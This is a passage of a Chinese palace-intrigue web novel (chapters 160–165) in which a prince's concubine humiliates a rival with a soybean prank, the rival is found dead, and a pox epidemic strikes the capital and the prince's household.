《娇妾勾人妩媚,帝王求她上位》
第一百六十章 旧事
“鸣玉,这么多年了,你为何还在纠结这件事儿?”
看着傅鸣玉那张倔强的脸,萧祈安叹了一口气,只觉得无可奈何。
“当初咱们俩的年龄都还小,而且最重要的是咱们那时候的身份完全就不对等啊!”
“如何就不对等了?”听得萧祈安的话,傅鸣玉下意识地想要反驳,“你是皇子,我是车骑将军的女儿,怎么就不对等了?”
“鸣玉,我还要说几遍你才明白,就算当初我同父皇求娶你,父皇也是不会同意的,你明白吗?”
说到这里,萧祈安便再也不肯出声了。
傅吗玉看着眼前的萧祈安,想起来他们两个好像已经有六七年未见了。她也不知道为何,再见他,心中只是倔强地想要知道一个答案。
“我明白了。”沉默了好一会儿,傅鸣玉终于出声了,“只是现在的你已经不是当年的你了,但是如今的我却还是从前的我。”
“我还是那句话,只要你需要,我永远都与你站在一处。”
留下这句话,傅鸣玉便转身离开了。
“行了,人都走了,还不把眼睛睁开?偷听听够了?”眼见着傅鸣玉已经走得很远了,萧祈安伸出手来拍了拍夏韶宁的脸。
“我没偷听,我是被迫听的。”瞧着自己的伎俩被萧祈安识破了,夏韶宁这才不情不愿地睁开了眼睛。
“我又不是聋子,你们说话的声音那么大,我想不听也没办法啊!”
“酒醒了?”萧祈安将夏韶宁的脑袋从他的肩膀上支了起来,“你没什么问题想要问我?”
“爷是指今日我醉酒的事情,还是指……您与那傅姑娘的事儿?”夏韶宁看了一眼萧祈安,面上有些不解。
“你这丫头少跟我在这儿装模作样,明明一开始宴席还没开始的时候你心中就有好奇了,只不过被王妃吼了一句不敢继续说罢了。如今我给你机会让你问,你怎么还谦虚上了?”
萧祈安拍了拍夏韶宁的头,“就会装!”
“哎,八卦这种事儿,若是没听完全,心中总会觉得有些痒的嘛!”既然萧祈安问了,她也就无所顾忌地说了,“您与那傅姑娘,当真有过一段?”
“算也不算吧,那会儿我才刚刚十六岁,都还没大婚呢,可能也不太懂得感情这东西到底是怎么回事儿吧。”
萧祈安回想起了那六七年前的事情,忽然觉得离如今的自己已经很遥远了。
“其实那会儿我们两人对彼此都有意,只是我心中也明白,凭着我那时候的身份,父皇是绝对不会允了我们两人的婚事的。”
“傅将军是从一品的车骑将军,那身份自然不言而喻。其实早先父皇是想把鸣玉赐给太子当良娣的,可是鸣玉誓死不从。而后她便仿佛赌气一般随着傅将军一道去越州驻守了,这些年都从未回过金州。”
“所以我当时听到你说她回来了才会觉得那么吃惊,在我的记忆里,我应该有六七年未曾见过她了。”
听着萧祈安对着自己娓娓说着这些旧事,夏韶宁的心中却忽然想起了一些旁的事情。
“可是刚刚那傅姑娘也说了,您已经不是当年的您了,所以……”
她抬起头来对上了萧祈安的眼睛,很意外的在他的眼睛里也看到了和自己眼里一样的东西。
“她是个好姑娘,我不想利用她。只是若是真的有那一天,多她一份助力对我只会有益无害。”
萧祈安抬起头来看了看天上的星星,心中莫名有个感觉——如今这般安稳的日子,可能过不了多久就要被打破了。
……
夏韶宁都不知道她是怎么回到琼华院的,反正等她第二天醒来的时候,她已经躺在自己熟悉的床上了。
身边的被窝已经空了,夏韶宁摸了摸被子早就没有了余温,想来萧祈安已经起床很久了。
她挣扎着从被子里爬了起来,才忽然觉得自己的头如针扎一般疼痛。
“主子醒了?”听见内间有动静,外间的婢女们便鱼贯而入。为首的辛夷端着一碗黑乎乎的药,不由分说地就伸到了夏韶宁的面前。
“这是什么药,怎么这么冲鼻子?”夏韶宁探过头去闻了一下,忍不住直犯起了恶心。
“您还说呢,您可还记得您昨天喝了多少酒?”兰芷没好气地看了夏韶宁一眼,“奴婢们昨夜瞧见您是被王爷抱着回来的,都给吓坏了,还以为您怎么了呢!原来是您喝醉了!”
“这是王爷特意吩咐给您煮的醒酒汤,您快喝了吧!”兰芷一边说,一边接过辛夷手里的药碗舀了一勺药伸到了夏韶宁的嘴边,“您快喝了吧,喝完头就不疼了。”
听得兰芷的话,夏韶宁便很努力地回想了一下昨夜的事情,这才发现自己的记忆好像从那傅鸣玉同萧祈安说完话以后,就直接断片了。
哎,果然啊,昨天是真的喝多了。
这会儿的夏韶宁倒是不好再说什么了,只能有些心虚地接过兰芷手里的药一股脑地喝了下去。
虽然这药味道又冲又难喝,但是这一碗药下去,不到一个时辰,夏韶宁就觉得头也不疼了,身上也舒服了。
于是她不得不暗暗地跟自己说,以后可再也不能喝这么多酒了。
醉酒会误事,醉酒也伤身体啊!
这厢的夏韶宁好不容易醒了酒,这会儿正坐在花园里看话本子呢,却见蕙心慌里慌张地跑了进来。
“主子,二小姐身边的丁香来了,说有要事同您说!”
“快请进来!”看着蕙心这般样子,夏韶宁的第一反应就是冉儿出事儿了!这会儿可是急得手里的话本子都掉到了地上!
丁香得了准许,便紧紧跟在蕙心身后入了院子。
“你家小姐是不是出事儿了?”看着丁香低着头的样子,夏韶宁便十分着急地走到了她的身边,“她是不是又想不开了?”
“大小姐别急,二小姐没事儿!”瞧着眼前的夏韶宁急得仿佛要吃了她的样子,丁香忙对着她摆起手来。
“二小姐今日本是想着带奴婢出门去买几匹好看的料子做冬装的,却不想冤家路窄,又遇到上次对着二小姐冷嘲热讽的那个女子了!”
第一百六十一章 给她点颜色瞧瞧
“嗯?那女子又对着冉儿乱说话了?”
一听到不是夏韶冉出事了,夏韶宁的心才放了下来。
“是,而且那女子这次不仅嘲笑二小姐,她居然还当着二小姐的面说大小姐您的坏话呢!”
说到这里,丁香的脸上也露出了一丝气愤的表情。
“她说我什么?”看着丁香这幅样子,夏韶宁倒是好奇了起来。
“那女子说大小姐好好的官家小姐,上赶着给王爷当妾室,还说您不过就是空有一张貌美的脸,只会以色侍人。还说……还说您和二小姐一样,只会些上不得台面的东西……”
丁香一边说,一边观察着夏韶宁的脸。果然,当她说到最后一句话的时候,夏韶宁“腾”的一下就从摇椅上站了起来。
“岂有此理!”
“大小姐您别生气,二小姐帮你骂回去了!”
瞧着夏韶宁这幅生气的样子,丁香便急忙又对着她开口了。
“原本那女子说二小姐的时候她都没有生气,更没想要回嘴。只是当她说到您的时候,二小姐就生气的和她吵起来了!”
“哦,冉儿那般好脾气的人,还会同人吵架?”夏韶宁忽然觉得有些吃惊。
“是呢!二小姐说她杨家也不过就是依仗着五皇子妃嫁入了五皇子府,她那些哥哥才得了些不重要的一官半职,凭什么用这种事情来嘲笑您!若是真的要论嫁娶之事,您嫁的还是亲王呢!她又有什么好得意的!”
“慢着,杨家?哪个杨家?莫不是五皇子妃的娘家杨家?”听得丁香提起杨家,夏韶宁的面色又渐渐沉了下来。
“是呢!就是五皇子妃的娘家杨家!那女子就是五皇子妃的庶妹杨二小姐杨素灵!”丁香点了点头,“二小姐同那杨二小姐吵了一架,把那杨二小姐气得够呛。而后二小姐回府后仔细想了想,又怕这件事情会影响您,这才派奴婢来同您通个气。”
“冉儿到底是将我上次同她说的话听进去了。”
听着夏韶冉不仅没有吃亏还把那嘴贱的杨素灵气得够呛,夏韶宁才觉得这个妹妹是真的长大了。
“你回去同你家小姐说,这件事儿我知道了,我会去处理,你让她不必担心。”
顿了好一会儿,夏韶宁这才对着丁香出声了。
“还有,以后若是再遇到这种事,只管按照她自己的想法去做,不用怕影响我。姐姐可比她想象的,厉害的多!”
丁香离开以后,夏韶宁在摇椅上又坐了很久。
蕙心和兰芷一直候在她的身边,只是轻轻地替她打着扇子,未曾开口说一句话。
“过几天是不是大容的双十节了?”也不知道沉默了多久,夏韶宁终于开口了。
“回主子的话,后日就是双十节了。”虽然不知道夏韶宁问这话是什么意思,但是蕙心还是规规矩矩地回了一句。
“那就正好。”夏韶宁笑了笑,心生一计。
大容国的双十节,其实也就同七夕乞巧节差不多。在这一天,大容所有已经及笄却还未出嫁的适婚女子,都要去郊外的宝光寺上香,以祈求上天赐自己一段美满的姻缘。
夏韶宁的眸子转了转,转过头来对着蕙心和兰芷道,“你们两个附耳过来,我这里有个计划,也是该给这嘴贱的杨素灵一点儿颜色瞧瞧了!”
***
两天后,杨府。
“这什么鬼天气啊,好端端的怎么下雨了?!”
杨素灵站在大门口,看着阴沉沉的天空中不断往下滴落的雨滴,心里越想越觉得烦躁。
回过头来又看见身后的婢女们仍旧磨磨蹭蹭的,心中便觉得更烦了。
“你们两个动作怎么这么慢,若是耽误了我去宝光寺上香的好时辰,我非把你们都给发卖到红逍坊去不可!”
身后的两个婢女听得杨素灵的这番恶语,吓得赶忙跑到了她的身边。
“东西都准备好了?”杨素灵懒洋洋地伸出手来等着婢女将她扶上了车,嘴上还不忘了仔细询问东西有没有准备好。
“回小姐,都收好了。”婢女们低着头,只敢小声回答着。
“呵,什么人也敢在本小姐面前耀武扬威!等着本小姐去宝光寺上完了香,哪天成了太子的良娣,你们这些小门小户家上不得台面的东西连给本小姐提鞋都不配!”
杨素灵一边说,脑海中一边不断浮现太子对她说的那些甜言蜜语,感觉自己的心都跳得比平常要快一些。
身边的婢女们一句话都不敢说,只是想到自家小姐仍未出嫁,却经常在私底下与太子幽会,都害怕哪天这件事情若是暴露了,她们两人的小命也保不住了。
如今也只得祈求上天,早日让小姐嫁入东宫,她们也好找个机会能离开这个恶魔一般的小姐。
马车一路行进着,不知不觉就行到了主街人群最密集的地方。
而因为今日是双十节,却天公不作美下起了雨,所以城内许多官宦人家小姐们的马车都被堵在了路上。
杨素灵一开始还有耐心坐在马车上等着,可是时间一刻钟一刻钟的过去了,眼见着马车依旧纹丝不动,她便再也坐不住了。
“你是不是死人啊?你就不会往旁边插着过去?!”
杨素灵气呼呼地将马车的门帘掀开,不由分说地就对着马夫大声地骂道。
“小姐……那旁边的路太窄了,若是强行插过去,怕是会惊着马呢!”
马夫看着杨素灵生气的样子,也只能好声好气地解释着。
“本小姐让你过去你就过去,哪有那么多废话!”
而眼前的杨素灵此刻心里只想着赶着好时辰去宝光寺上香,根本就不管马夫说什么。她往前头看了看,发现另外一辆马车旁边还有挺宽的位置,于是指着那辆马车对着马夫道,“给本小姐插过去!”
马夫眼见着杨素灵的态度坚决,于是只得叹了一口气,拿起马鞭调转车头就往前面那辆马车旁边挤了过去。
马儿被马鞭抽了一下,吃痛往前头跑去,却不知道为何前头的地方居然被人洒满了黄豆!马儿踩到了黄豆失去了平衡,当时就摔倒了!
而坐在马车里的杨素灵,则被狠狠地从车厢里摔了下来,整个人就那样四仰八叉地躺在了地上!
第一百六十二章 真丢人
这会儿的雨下得比刚才更大了,杨素灵就那样被马儿甩出了车厢外,躺在了地上,不一会儿,她身上的衣裳就被雨水全部给淋湿了。
众府的马车本十分有序地在排队等着出城,却不想忽然听得耳边传来一阵巨大的响声。各家小姐们都十分好奇地将车厢上的门帘打了起来,看到的就是此刻已经全身湿透狼狈不堪倒在地上的杨家二小姐,杨素灵。
“咦,那躺在地上的是谁家的小姐啊,身上的衣裳都湿透了啊,这可不给人看光了啊!”
“诶,那不是杨府的马车吗?杨家没出嫁的女儿……不就剩一个杨二小姐了吗?!”
“啧啧啧,我听说杨大人最注重自己的名声了,这杨二小姐今日出了这么大的丑,她以后可该怎么嫁人啊!”
……
此时的夏韶宁,就坐在杨家前头的那辆马车上,正闲闲地喝着茶呢!
兰芷掀开门帘看了一眼仍旧躺在地上谁都不敢上前去扶一下的杨素灵,只觉得心中十分畅快!
“哼!让她整天用落水的事情嘲笑二小姐,这一次,她可真是丢人丢到姥姥家了!”
“我本来不过想着将马车往里头靠一靠,没想到你这丫头还会使阴招呢?”
夏韶宁放下了手里的茶杯,顺着门帘看了看撒了满地的黄豆,嘴角也忍不住上扬了起来。
“主子您别装了,这装了黄豆的荷包不是您早上递给奴婢的吗?”兰芷从腰上扯下了那个荷包递到了夏韶宁的面前,“您若是没存了这个心思,何必把这个荷包让奴婢带着呢?”
“哈哈哈哈,就你机灵。”夏韶宁笑了笑,也不说什么,只留下一句,“行了,路通了,咱们去郊外转转就回府吧。”
“接下来,可是有好戏看咯!”
***
且说那头的杨素灵,到最后还是被两个婢女从地上扶了起来。她在地上躺了许久,身上的衣裳已经脏得不成样子,全身上下也因为从车上摔了下来觉得哪哪儿都疼,这会儿更是委屈的大哭了起来。
“小姐,您别哭了,她们都在看您呢!”
婢女扶着杨素灵的手想将她扶到一边去休息一下,却不想被杨素灵一把甩了开来。
她挣扎着自己站起了身,淋着雨转头就往杨府的方向跑去。
两个婢女互相看了一眼,也只得赶忙追了上去。
晚间,杨府。
杨超面无表情地坐在椅子上,面前是已经哭红了眼的杨素灵。
她的亲娘何姨娘一直站在身旁劝着她,她却仍旧只是哭个不停。
“哭哭哭,你还有脸哭?!”看着一直哭个不停的杨素灵,杨超心中觉得心烦不已。
他“砰”的一声拍了拍一旁的小几,指着杨素灵气急败坏地道,“你怎么就那么心急?!人家府上的马车都知道排队等着出城,偏偏就你要挤别人的马车过去!怎么,就你厉害就你能?为父的老脸都给你丢光了!”
杨超本还觉得奇怪,为何今日下值的时候同僚们都对着他窃窃私语。待他回府,这才知道是他这个好女儿今日做了件如此给自己“长脸”的事情!
“父亲怎么能怪我呢?我怎么知道那地上会有黄豆?”
杨素灵本想着一向疼爱自己的父亲会好声好气地安慰她,没想到父亲一开口居然是责怪自己给他丢脸了,当时连哭都忘记了,只知道呆愣愣地看着父亲。
“你若是不挤过去,马儿会踩到那些黄豆吗?马儿不踩到那些黄豆,你会摔到地上全身湿透被那么多人给看光了吗?”
眼见着杨素灵还在狡辩,杨超更生气了。
他“腾”的一下从椅子上站了起来,抬起手来不由分说就扇了杨素灵一巴掌!
“老爷,你这是做什么?”何姨娘一开始只是站在一旁看着他们两父女吵架,虽然她心疼自己的女儿受了委屈,但是看着杨超那般生气的样子,她也不敢多说什么。
可是如今瞧着杨超居然动手打了杨素灵一巴掌,这会儿便着急地一把就拦在了杨素灵的跟前。
“你让开,我今日非打死这个丢人现眼的东西不可!”
瞧着何姨娘上来拦住了自己,杨超的气更大了。他转过身来抄起了一根木棍,气势汹汹地就朝着杨素灵走了过来。
“好,是你想要我死的,等我真的死了,你别躲在一旁哭!”
这会儿的杨素灵倒是不哭了,她梗着脖子看着眼前被她气得已经有些分不清东南西北的父亲,留下这句话就冲了出去。
“你走!你若是走了,你就永远不要回来,我杨家,没你这么个女儿!”
……
杨素灵一开始只是想吓一吓她的父亲,所以大晚上的便只身一人从杨府里跑了出来。
可是这会儿在街道上走了好长时间,也没见父亲派人出来寻她,她才真的慌了起来。
虽然刚刚的狠话放得很响,可是她哪里是那种有勇气寻短见的人呢?
她还等着太子殿下实现承诺将她纳进东宫当良娣呢!
于是杨素灵只得漫无目的地在街道上走着,不知不觉,她居然走到了五皇子府的门口来了。
她站在门口犹豫了许久,最终还是敲响了五皇子府的大门……
其实白日里的事情五皇子妃也在府里听到了一些风声,只是府里的那些下人们并不敢当着她这个杨家长女的面如此明目张胆地谈论。
这会儿看着自家妹妹眼睛通红,两颊也肿了起来,五皇子妃这才从杨素灵的嘴里得知了这到底是怎么回事儿。
“你有没有觉得,这件事情很奇怪?”听完了杨素灵的话,五皇子妃沉默了许久,最终才吐出了这么一句话。
这会儿的杨素灵正在狼吞虎咽地吃东西,听得长姐的疑问,她倒是忽然想到了一件事情。
“我记得一开始马车被堵住的时候,地上是没有黄豆的。等我们府上的马车挤过去以后,地上便莫名多了许多黄豆了。”
“你有没有看清楚前面那辆马车里坐的是哪家的小姐?或者……那马车上有没有什么特殊的记号?”
五皇子妃转过头来看了看杨素灵,十分严肃地问道。
意识到了自己可能是被人给陷害了,杨素灵便也十分努力地回想起了前面那辆马车上有什么特征。
想了好大一会儿,她的眼睛却突然亮了起来。
“长姐,有了!我记得我前面的那辆马车的车沿下,挂着一个刻着“贤”字的风铃!”
第一百六十三章 她死了
就在夏韶宁已经忘记自己曾经整过一次杨家二小姐的时候,萧祈安却带来了一个令她十分吃惊的消息。
杨家二小姐杨素灵,死了。
“好端端的,她怎么会死了?”听着萧祈安一脸平静地告诉了她这个消息,夏韶宁被吓了一跳。
“说是前几日那杨二小姐同她的父亲杨大人吵了一架,好几天都没有回家。过了两三天杨大人才派人出去寻,这才在郊外的一处树林里寻到了她。”
“寻到她的时候她被一根白绫吊在树上,身子都硬了。大理寺派人去查了这案子,最后发现她身上没有任何伤痕,最终断定应该是自杀的。”
说起这件事情的始末,萧祈安也觉得有些唏嘘。
明明前段时间还在长乐婚宴上见过的人,说自杀就自杀了。
那头的萧祈安正在感叹现在的女儿家心里承受能力是否有点差,而这厢的夏韶宁,却不知为何心中变得十分不安起来。
萧祈安一开始还在无所谓地喝着茶,直到过了好大一会儿也不见夏韶宁出声说话,他便有些疑惑地转过身来,这才发现眼前的夏韶宁很明显一副心神不宁的样子。
“你怎么了?”萧祈安放下茶杯摸了摸夏韶宁的手,却发现她这会儿的手一丝温度都没有,冷得和块儿冰似的。
萧祈安的脸色瞬间变了。
他转过身来按住夏韶宁的肩膀,强迫她看着自己的眼睛,随即满脸严肃地对着她道,“宁儿,你同我说实话,那杨家二小姐自杀的事情,和你是否有关系?”
“我不瞒你,或许这件事情真的和我有关系,但是我并不能确定她自杀就是因为这件事。”
夏韶宁头脑风暴了好一会儿,最终还是决定将整件事情的来龙去脉告诉萧祈安。
萧祈安面无表情地坐在椅子上,仔仔细细听着夏韶宁将事情的始末说给了他听。
这会儿的他倒是没有夏韶宁那般不安,夏韶宁一边说,他便一边在想着这件事情的背后到底是怎么回事儿。
直到夏韶宁已经把事情说完了,他仍旧久久没有出声。
“爷,我是不是给你惹麻烦了?”夏韶宁一开始的本意只是想要教训一下那杨素灵,以其人之道还治其人之身罢了。
可是她怎么都没想到,杨素灵会因为这件事情和她的父亲大吵一架,最后酿成了一个离家出走郊外自杀的结局。
虽然夏韶宁一直觉得她是个胆子很大的人,可是如今这事情惹上了人命官司,那性质可就完全不一样的。
萧祈安早就同她说过自己这一路走来全靠他步步为营的谋划,她不确定自己惹出的这场意外,是否会打乱萧祈安整盘的计划。
虽然他从未在她面前透露过他有什么样的计划,但是随着萧祈安每日回府的时间越来越晚,她似乎也能明白些什么。
所以此刻的夏韶宁,第一次在萧祈安面前露出了焦虑和担忧的神情。
“行了,多大点事儿。她自己想着别你的马车,马儿踩到黄豆摔到了才导致她从马车上摔出来的,这整件事情和你又有什么关系?”
看着面前的夏韶宁一副神色不安的样子,萧祈安便一把将她拉进了怀里。
“宁儿不要怕,我从前不是答应过你了吗?不管出了什么事儿,我都护着你。你就安安心心待在这琼华院,种花也好,摆弄吃的也好,做做香膏也好,你只要做你喜欢的事情就行。”
萧祈安摸了摸夏韶宁的头,示意她安心。
“只是这段时间你无事就不要四处乱走了,乖乖待着府里就好。”萧祈安探下身子吻了吻夏韶宁的额头,小声对她道,“这两天也许我会很忙,你照顾好自己。”
夏韶宁看着眼前的萧祈安一副胸有成竹的样子,她的内心似乎也安稳了一点儿。
此时的她虽然也想做什么,但是理智告诉她还是不要轻举妄动比较好。
离开了琼华院,萧祈安便带着裴言回了存心殿。
这会儿的他坐在书桌前,面上早已没有了刚才面对夏韶宁时那副温柔的样子。
他伸出手指反复婆娑着大拇指上的扳指,脑子里瞬间设想了一万种可能。
杨府,杨二小姐,五皇子妃,五皇子,太子……
忽然之间,他瞬间感觉自己茅塞顿开!
“裴言,咱们今日先去一趟刑部找四哥,再去一趟大理寺找夏大人,本王如今有重要的事情拜托他们二位去办!”
大容没并没有驸马尚了公主以后就不得入仕途的说法,反而夏明博成了驸马以后,因为显庆帝欣赏自己这位女婿有什么说什么直言不讳的性格,将他从御史台调到了大理寺。
如今的夏明博,已经是从五品的大理正了。
“王爷,恕属下直言,夏侧妃这件事情做得是有些冲动了。”
其实平日里裴言是很少对于主子们之间的事情进行置喙的,可是如今正是王爷最重要的时候,夏侧妃却在这个节骨眼上闹出了这件事儿,裴言心中便还是对夏韶宁有了怨言。
“她有什么错儿?”萧祈安刚准备出门,听得裴言的话,倒是停了下来。
“是那杨二嘴贱,一而再再而三地羞辱她和她的妹妹,她不过为了自己的正当利益用了一点小手段,没杀人没放火的,她错哪儿了?”
“可是若不是因为夏侧妃挑了这个头,那杨二小姐未必会想不开自杀啊!”听得自家王爷这般偏心眼的话,裴言仍旧不能认同。
“你真觉得那杨二是自杀吗?”萧祈安满脸带笑看着裴言,“是你想的太简单了。”
萧祈安转过身来也不再看裴言了,只是自顾自地往外走了出去。
只见他一边往外走,一边嘴里还不住念叨着,“这丫头还是大意了!要说她有错,也就错在她不应该如此光明正大地将府上的马车直接驾了出去。”
“不过没关系,如今是他们起了这个头,那么这件事情对我来说就未必不是一件好事儿了!”
“这大容的天儿,也该变咯!”
第一百六十四章 痘疫
杨素灵这件事情仍在慢慢发酵,而出乎所有人意料之外,一夜之间,金州城忽然有许多人发起了痘疫!
城中所有的医馆都开始人满为患,大街上到处都是蒙着面脚步匆匆往医馆赶去的人。
显庆帝得知了这件事情以后,直接停了大朝会,宫门也落了锁,只留了一个小门方便宫里的人处理每日的日常采买以及其他工作。
另外,他也命太医院连夜研究出了一种预防的药水,只要将这药水煮沸撒在住处四周,可以有效地预防痘疫。
药水研究出来以后便发放给了各家各户,一时之间,金州城人人都忙着给自家宅子周围洒预防痘疫的药水,场面一度显得十分壮观。
只是因为大容从建朝以来都没有发生过如此大规模的痘疫,所以研究出可以完全治好痘疫的药物,暂时还需要一点儿时间。
不过因着这预防药水的研制,金州城的痘疫还是稍微得到了一些控制。
与此同时,贤王府琼华院。
夏韶宁站在廊下,看着婢女和内侍们正忙着给院子里的各处的屋子里喷洒药水。
四个心腹婢女们牢牢地盯着那些做事的婢女和内侍们,力求连一个犄角旮旯都不放过。
“主子累了就回屋歇歇吧,奴婢们会盯着他们好好做事儿的。”
注意到了夏韶宁一直站着,蕙心便走到她的身边对她小声道。
“没事,我不累,我就在这看着。”
夏韶宁对着蕙心摇了摇头,只是隐隐觉得心里头有些不安。
金州城爆发痘疫的当天晚上,萧祈安就被显庆帝派去处理事务了。如今金州城里有许多人生病,城里到处都是忙忙碌碌的样子。而越是这样的时候,就越会出现许多从前安稳时期不会出现的问题。
治安问题、商家哄抬物价的问题、粮食药品分配不均的问题、维稳人手不足的问题……
这纷繁复杂的事情总需要一个地位高的领头人去解决,而显庆帝想来想去,还是把这个艰巨的任务交给了萧祈安。
夏韶宁掰着指头算了算,萧祈安已经差不多有七八天没有回府了。
“辛夷。”夏韶宁顿了顿,转头对着辛夷招了招手,“我昨天翻了翻师父给我的医书,琢磨着研究出了一副预防痘疫的方子。我昨天用了一副,没什么别的反应,你今日给煎了给咱们院子里的人都用一碗,若是大家都没反应,就把这方子给王爷送去。”
夏韶宁毕竟也不是专门学医的,她如今也不过是月月同公孙信保持着通信来精进自己的医术。所以哪怕她琢磨出了这么个方子,她也不敢直接就让大家用了,万一出了什么问题,她可负不起责任。
她只能先拿自己和自己院子里的人做实验,若是真的确定没有副作用,再拿给萧祈安让他推广也不迟。
辛夷接过夏韶宁递过来的方子,细细看了一眼,也不住地点了点头。
而就在夏韶宁的预防药方刚刚研究出来,琼华院的下人们还在实验的时候,王妃的瑞香院里,却出事了。
还不到一岁的三公子,不知从何处染上了痘疫!
瑞香院。
此时的王妃正一脸焦灼的坐在三公子的床前,周围伺候的下人里除了白露,其他人都被王妃给赶了出去。
“娘娘,您先出去吧,让奴婢在这照顾三公子!奴婢小时候发过一次痘,如今不怕的!”白露担忧地看了王妃一眼,说话的语气里隐隐带了一丝哀求的语气,“奴婢从小同您一块儿长大,您可是从没发过痘的啊!您如今一直守在三公子这儿,会被他传染的啊!”
“我哪儿都不去,我要在这守着我的孩子!”
很显然,王妃并没有将白露苦苦劝说的话给听进去。她一边死死握着三公子的手,以防止他因为身上的痘太痒了而四处乱抓,一边趁着空给三公子滚烫的额头上换上冰凉的帕子,试图以此来降低三公子不断攀升的体温。
“你找人去通知王爷了没有?”王妃焦急地问了白露一声,“如今宫门都关了,又请不到太医来府里给驰儿看诊,只有让王爷去宫里碰碰运气了!”
“娘娘放心,奴婢昨日去找过王爷了,王爷答应您定回去宫里替三公子请太医的。”白露回握住王妃的手,示意她放心。
“可是这都一天了,不仅太医没来,连王爷也没有回来。”虽然白露这么说了,可是王妃却并没有放心下来。
她站起身来往窗外看了看,始终也不见她最想见的人的身影。
“娘娘,不如……不如咱们去求求夏侧妃吧!她身边的那个医女医术似乎还不错,而且奴婢私底下听说夏侧妃不知得了哪位高人的指点,如今也懂些医术了!”
眼见着王妃一副焦急又失望的样子,白露纠结了许久,终于对着王妃说出了她的想法。
“夏侧妃?”听得白露提起这个人,王妃的眼神下意识地恍惚了一下。
“可是上一次我因为向她打听王爷对立世子的看法时与她闹得那样不欢而散,她如今如何肯来帮我?”
“您不试试如何知道夏侧妃不肯来呢?”白露明白王妃到底还有些顾忌着自己的身份,于是便更加卖力地劝说道,“再说夏侧妃入府快三年了,她是什么性子的人娘娘您如何还看不出来?您别忘了,当初若不是她拼了命救下了您,三公子可能都没办法安全降生呢!为了再救三公子一次,您就暂时放下自己的身份吧!”
听着白露这般苦口婆心,句句肺腑地劝说,王妃这才清醒了过来。
王爷已经七八日没有回府了,她也不敢保证王爷就真的能将太医从宫里请来给驰儿看诊。驰儿如今瞧着症状如此严重,若是一直拖下去,谁知道会不会有性命之忧?!
既然都已经到了这般地步了,那也就只能同白露说的那般,暂时放下自己这王妃的身份,亲自去求夏侧妃来给驰儿治病,说不定她还真的能救驰儿一命呢!
想明白了这一点,王妃便立刻从床上站起身来,急急地对着白露道,“快,快给我带好面纱,咱们这就去琼华院!”
第一百六十五章 求你救他
其实在王妃来找她之前,夏韶宁已经隐隐约约听说了一些瑞香院的事情。
只是她没想到居然是三公子染上了痘疫。
四个婢女听闻三公子得了痘疫,也不管对面的是王府的主母了,立刻惊慌失措地将夏韶宁拥进了房间内,并且在王妃的四周撒了足足的预防药水。
此时的王妃也顾不上这些婢女的无理了,如今她的心中只希望夏韶宁能快些救救她的儿子。
“我知道你在心里是不喜欢我的。”王妃戴着一层厚厚的面纱,双眼通红地坐在离夏韶宁很远的地方。
“自你入府以来,前前后后吃了不少亏。我这个做主母的似乎从来没有帮你解决过你吃的那些亏。”
“反倒是你一直以来都十分尊重我,在我面前从不逾矩一步,甚至乎还曾救过我与我的儿子。”
说到这里,王妃终于忍不住落下泪来。
“我知道你与你身边的婢女都通医术,如今驰儿发了痘疫病的很严重,王爷又一直没有将太医从宫里请来,我实在是害怕驰儿没有办法撑过去,他如今连周岁都还没有过啊!”
“今日算我求你,求你救救我的孩子!”
王妃一边说一边断断续续地哭着,说到最后,她甚至想要朝着夏韶宁跪下了。
“娘娘使不得啊!您今日若是跪了妾,妾这条命可就保不住了!”眼见着王妃马上就要朝着自己跪下来,夏韶宁急忙眼疾手快地将她从地上扶了起来。
她看着眼前哭得满眼是泪的王妃,终究还是忍不住重重地叹了一口气。
“妾对娘娘从来没有生过怨言,您是主母,府里那么多女人,您总不好偏袒哪一个。”
“您是个好主母,也是个好母亲。哪怕有的时候遇到了事情过于小心谨慎,那也是您的性格使然,妾从未怪过您。”
“妾与辛夷虽通一些医术,只是也未曾有过研制治疗痘疫的药物。妾只能说但求一试,若是最终还是无法治好三公子,也请娘娘不要怪罪妾。”
夏韶宁这人,做任何事情之前都喜欢将丑话说在前头。如今面对王妃的请求,夏韶宁也同样地将可能出现不好的结果先告诉她。
夏韶宁当然会不藏私心的去救三公子,只是若是到时候真的救不了,她也尽力了。
果然,听得夏韶宁同意去救三公子了,王妃的脸上终于露出了这么多日以来唯一的一次笑容。
“你说的哪里话,只要你肯不计前嫌救驰儿,我又怎会怪你?”
王妃胡乱擦了擦眼角的泪,转过身来便对着白露吩咐道,“从今日起,咱们瑞香院所有的下人都归夏侧妃调配。夏侧妃说的话就是我的话,夏侧妃需要什么,只要大库房有的都紧着她用,明白了吗?”
听完王妃的话,白露忙不迭地对着夏韶宁使劲点了点头道,“夏侧妃需要奴婢们做什么,只管说一声便是,奴婢们都听您的!”
“好,既然这样,那妾便也就不客气了。”得了王妃的承诺,夏韶宁做起事情来就容易多了。
“如今三公子得了痘疫,娘娘的瑞香院是要同其他院子隔离开了,只是三公子病着少不得人伺候,所有妾有一些其他的想法。”
“妾前几日研制出了一种预防痘疫的药方,妾自己喝过以后并无其他不舒服的地方,若是娘娘信得过妾,便让府中所有的主子下人们都先喝上一副,有备无患吧。”
夏韶宁一边说,一边对着辛夷使了个眼色,辛夷便将刚刚那张药方给了白露。
“白露,一会儿你去大厨房吩咐下去,让人按照这房子熬上几锅汤药,府里所有的人都必须喝。”
夏韶宁的话音刚落,王妃便转过头来对着白露吩咐了一声。
眼见着王妃丝毫没有对自己的药方产生怀疑,此刻的夏韶宁倒是真的相信王妃此番的确是真心向她求救的。
“另外,还要麻烦白露姐姐带一些人去询问一下府中的所有下人们,有哪些人从前是发过痘的?只要发过痘的人,便暂时要辛苦他们调到瑞香院去照顾三公子了。”
“至于其他没有发过痘的,那便还是要远离瑞香院,但是这段时日最好也不要出府了。”
夏韶宁一口气把自己的想法都说了出来,一点藏私都没有。
其实她也是按照前世在电视上看到发生传染病时zf的应急预案是如何做的,她稍微结合了一下目前府里的具体情况,才想到了这么一个流程。
“至于妾与辛夷,这段时期还是呆在琼华院研制药物。只是妾同娘娘保证,一定会尽快将药物研制出来的。”
夏韶宁转头看了王妃一眼,又想到什么般对着她道,“如今三公子发了高热,身上又奇痒无比,妾这里有一副退热的方子和止痒的药膏,娘娘先拿去给三公子缓解一下症状吧。”
王妃看着辛夷递过来的东西,刚刚止住的泪水又忍不住落了下来。
“刚才白露劝我来找你,我心中总觉得你不会帮我。我甚至还想着你或许会拿着我有事求你来对着我拿乔,嘲讽我羞辱我。我根本没想到,你居然……会答应得如此爽快,我实在……实在是觉得有些羞愧……”
“这世道女子活得本就艰难,咱们同嫁一个男人也并非自愿的,我相信这府里的每个女人,都有自己说不出口的无奈。”
